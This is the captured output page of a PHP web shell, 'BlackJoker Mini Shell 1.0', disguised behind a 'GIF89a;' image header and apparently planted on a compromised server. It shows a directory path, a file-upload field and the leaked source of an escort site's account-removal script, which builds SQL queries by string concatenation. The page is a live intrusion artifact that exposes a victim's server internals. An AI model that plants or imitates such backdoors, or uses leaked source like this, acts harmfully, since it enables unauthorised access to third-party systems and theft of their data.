GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/www/m/
Upload File :
Current File : /home/serb/www/m/rmvaccount_process.php

<?
 session_start();
 include("lib/globals.php");
 include("lib/common.php");
 include("lib/functions.php");
 ?>
 <?
if($_POST)
{
		if(($_POST['rmvAd']) && ($_POST['rmvAcc']))
		{
			$sql_remove="DELETE FROM user_info  WHERE userid='".$_SESSION['userid']."'";
			execute_query($sql_remove);
			
			$sql_removead="DELETE FROM escort_details  WHERE user_id='".$_SESSION['userid']."'";
			execute_query($sql_removead);
			
			$sql_photo="DELETE FROM escort_photo  WHERE userid='".$_SESSION['userid']."'";
			execute_query($sql_photo);
			
			$sql_tour="DELETE FROM escort_tours  WHERE userid='".$_SESSION['userid']."'";
			execute_query($sql_tour);
			
			$sql_deleteest="DELETE from USER_IMPRESSION_REPORT where user_id='".$_SESSION['userid']."'";
			execute_query($sql_deleteest);
			
			$sql_dtuser="DELETE from USER_AD_REPORT where user_id='".$_SESSION['userid']."'";
			execute_query($sql_dtuser);
			
			
			
			session_destroy();
			session_unset('userid');
			session_unset('userlogin');
			session_unset('user');
			session_unset('acctype');
			
			
			?>
            
        <script language="javascript">
        	location.href="index.php";
        </script>
        <?
		}
		
		else if($_POST['rmvAd']) 
		{
			$sql_query="SELECT * FROM escort_details where user_id='".$_SESSION['userid']."'";
			$res_query=execute_query($sql_query);
			$num_query=mysql_num_rows($res_query);
			if($num_query>0)
			{
			$sql_remove="DELETE FROM escort_details  WHERE user_id='".$_SESSION['userid']."'";
			execute_query($sql_remove);
			
			$sql_photo="DELETE FROM escort_photo  WHERE userid='".$_SESSION['userid']."'";
			execute_query($sql_photo);
			
			$sql_tour="DELETE FROM escort_tours  WHERE userid='".$_SESSION['userid']."'";
			execute_query($sql_tour);
			
			$sql_deleteest="DELETE from USER_IMPRESSION_REPORT where user_id='".$_SESSION['userid']."'";
			execute_query($sql_deleteest);
			
			$sql_dtuser="DELETE from USER_AD_REPORT where user_id='".$_SESSION['userid']."'";
			execute_query($sql_dtuser);
			
			
			?>
			<script language="javascript">
                location.href="my-account.php";
            </script>
            <?
			}else {
				?>
			<script language="javascript">
                location.href="remove-account.php?msg=1";
            </script>
            <?
				
			}
		}
		else
		{
			$sql_remove="DELETE FROM user_info  WHERE userid='".$_SESSION['userid']."'";
			execute_query($sql_remove);
			
			$sql_removead="DELETE FROM escort_details  WHERE user_id='".$_SESSION['userid']."'";
			execute_query($sql_removead);
			
			$sql_photo="DELETE FROM escort_photo  WHERE userid='".$_SESSION['userid']."'";
			execute_query($sql_photo);
			
			$sql_tour="DELETE FROM escort_tours  WHERE userid='".$_SESSION['userid']."'";
			execute_query($sql_tour);
			
			session_destroy('');
			
			session_unset('userid');
			session_unset('userlogin');
			session_unset('user');
			session_unset('acctype');
			?>
        <script language="javascript">
        	location.href="index.php";
        </script>
        <?
			
		}
}
?>

./BlackJoker Mini Shell 1.0